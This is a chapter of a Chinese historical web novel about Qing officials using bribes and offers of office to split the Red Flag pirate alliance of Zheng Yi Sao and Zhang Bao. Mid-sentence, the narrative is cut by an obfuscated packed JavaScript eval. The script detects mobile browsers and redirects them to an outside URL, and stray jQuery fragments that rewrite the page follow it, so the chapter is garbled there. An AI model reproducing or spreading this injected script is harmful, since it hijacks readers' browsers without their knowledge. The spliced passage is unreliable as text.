第一百六十八章 分化离间

作品:《澳门风云--海上争霸300年

    新式水师的战船在海上游弋,寻找着决战的机会,如同磨利的爪牙。坚壁清海的策略在内陆残酷推行,制造着荒芜与绝望,如同缓慢收紧的绞索。


    而与此同时,另一条更隐蔽、更阴险的战线,也在无声无息中悄然开辟。这条战线不在波涛之上,亦不在废墟之间,而在人心最幽暗的角落,它的武器不是火炮与刀剑,而是黄金、官帽与许诺。


    两广总督张百龄,深谙“上兵伐谋,其次伐交,其次伐兵,其下攻城”的道理。面对红旗帮这个结构复杂、并非铁板一块的庞然大物,一味强攻,即便最终获胜,帝国也要付出难以承受的代价。分化瓦解,从内部攻破,才是代价最小、收益最高的上策。


    皇帝的密旨给了他最大的授权和资源。于是,一批身份特殊、精于算计、口才便给的人物,开始像幽灵一样活动起来。


    他们或许是卸任的官员、或许是地方上有名望的乡绅、或许是甚至与海盗有些不清不楚关系的走私商人,此刻都成为了总督衙门的秘密使者。


    他们怀揣着盖有总督大印、甚至暗示有皇帝背书的空白官凭告身,以及更实在的东西——一叠叠巨额银票、一盒盒炫目的珠宝。


    他们的目标,直指六旗联盟中,除了最核心、最坚定的红旗帮之外的那些旗主,以及红旗帮内部那些可能对郑一嫂统治并非绝对忠诚、或是对前途产生疑虑的中小头目。


    最先被盯上的,是黑旗帮的郭婆带。与郑一嫂的锐意进取、张保的年轻气盛不同,郭婆带年纪较长,更为老谋深算,也更看重实际利益。他麾下的黑旗帮实力不弱,但长期被红旗帮压过一头,心中芥蒂早结。更重要的是,他看到了清廷新水师的炮口和岸上那片令人心悸的焦土。


    密使在一个风雨交加的夜晚,通过重重关系,秘密登上了郭婆带的座船。没有剑拔**张,只有看似客气的寒暄,但船舱内的空气却比外面的风暴更加紧张。


    “郭帮主是明白人,”密使摒退左右,开门见山,语气恭敬却带着不容置疑的诱惑:


    “如今局势,想必您比外人更清楚。朝廷剿匪之心,坚如金石。新式水师已成,迁界令已行,此乃煌煌天威,不可阻挡。红旗帮虽强,能强得过举国之力吗?继续绑在他们的船上,唯有玉石俱焚一途。”


    郭婆带端着茶杯,眼皮微耷,看不出喜怒:


    “先生是来替张制台当说客的?”


    “非也,”密使微微一笑,从怀中取出一个沉甸甸的锦盒,打开推到郭婆带面前,里面是厚厚一叠银票和一份精美的礼单:


    “在下是来给郭帮主和黑旗帮的兄弟们,送一条锦绣前程,一个光宗耀祖的机会。”


    他压低了声音:


    “制台大人有言,郭帮主若肯弃暗投明,率众来归,既往一切咎,均可赦免。朝廷可授郭帮主三品参将衔,实领水师一营!麾下头目,皆按功劳授予千总、把总职衔!此外,另有安家银、赏赐银无数,足以让兄弟们下半生衣食无忧,堂堂正正做人,岂不胜过在这海上担惊受怕,朝不保夕?”


    他又指了指那份官凭告身:


    “官职空白在此,只要郭帮主点头,姓名官职即刻便可填上,印信不日即可送达。从此,您便是朝廷命官,不再是海上匪类。您的子孙后代,也可读书科举,光大门楣。此乃皇恩浩荡,郭帮主,机不可失啊。”


    郭婆带的目光扫过那炫目的银票和诱人的官凭,手指在茶杯边缘轻轻摩挲。


    船舱外,风雨声更急了。他当然心动。做海盗,终究是刀头舔血,看似快意恩仇,实则如无根浮萍。朝廷的官身,却是实实在在的保障和地位。尤其是眼下这局面,继续硬抗,前景确实黯淡。


    但他仍有顾虑:“郑一嫂和张保非易与之辈,若知其情,恐……”


    “郭帮主无需担忧,”密使胸有成竹,“此事机密进行。制台大人亦不强求郭帮主立刻倒戈一击。只需您在日后朝廷用兵时,按兵不动,或……稍行方便即可。待红旗帮势颓,您再振臂一呼,朝廷大军里应外合,大事可定。届时,您便是首功之臣!”


    这番话,彻底击中了郭婆带心中的权衡。他不需要立刻拼命,只需要观望和暗中配合,就能换取最大的利益和一条稳妥的退路。


    沉默良久,郭婆带缓缓端起茶杯,啜了一口,淡淡道:


    “此事,容郭某与兄弟们……再商议商议。”


    密使知道,这事已成了一半。所谓商议,不过是讨价还价和安排细节的托词。他笑容更深,拱手道:


    “理应如此。在下静候郭帮主佳音。这些薄礼,还请笑纳,聊表制台大人诚意。”


    类似的场景,也在其他旗帮和一些摇摆不定的头目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880671|187011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那里或明或暗地上演着。


    蓝旗帮的乌石二,脾气暴躁,但也并非完全看不清形势,巨额的金银赏赐让他颇为动心。一些红旗帮内部原本就与张保等少壮派有些隔阂的老资格头目,对于郑一嫂越发倚重张保也心存不满,此刻在官帽和银子的诱惑下,心思也开始活络起来。


    “凭什么我们要跟着她一条道走到黑?”


    “朝廷这次是动真格的了,看看岸上,我们还有路可退吗?”


    “接受招安,好歹能换个出身,总比葬身鱼腹强!”


    “听说黑旗郭婆带那边,已经……”


    窃窃私语像阴暗角落里的霉菌,开始在联盟内部悄然滋生、蔓延。猜忌和怀疑的种子一旦种下,很快就能在恐惧和利益的浇灌下破土而出。


    忠诚开始明码标价,义气在现实的生存压力面前变得脆弱。虽然大规模的背叛尚未发生,但那种同舟共济、一致对外的凝聚力,已经出现了细微却致命的裂痕。联合行动时,各旗之间的配合不再如以往那般默契,传递消息时,也多了几分保留和迟疑。


    郑一嫂和张保都敏锐地察觉到了这种变化。空气中弥漫着一种难以言喻的诡异气氛。以往坦诚相对的会议上,某些人的眼神开始闪烁不定。一些原本应该共享的情报,传递到手时似乎慢了一拍,或者缺了关键部分。


    “娘希匹!乌石二那小子,上次说好的共同出击,他的人马迟迟不到,害我们差点被官军水师堵住!”一个红旗帮的头目愤愤不平地抱怨。


    张保眉头紧锁,对郑一嫂低声道:


    “龙嫂,近来风声不对。怕是朝廷的离间计奏效了。有些人,心思活了。”


    郑一嫂面沉如水,眼神锐利如刀,扫过海图,仿佛要透过图纸,看清那些摇摆不定的人心。


    她深知,这种来自内部的侵蚀,比海上明刀明枪的敌人更加可怕。帝国的绞索,那根用黄金和官帽编织而成的丝线,已经悄无声息地缠绕了上来,正试图将联盟勒散,将红旗帮孤立起来。


    她必须做些什么,来稳住人心,来震慑宵小,来告诉所有人,这片大海,谁才是真正的主宰。但与此同时,一个更冷酷的问题也摆在了她的面前:当忠诚需要靠不断的胜利和利益来维系时,这条路,还能走多远?


    海风依旧吹拂,但联盟的巨舰之下,暗流已然汹涌。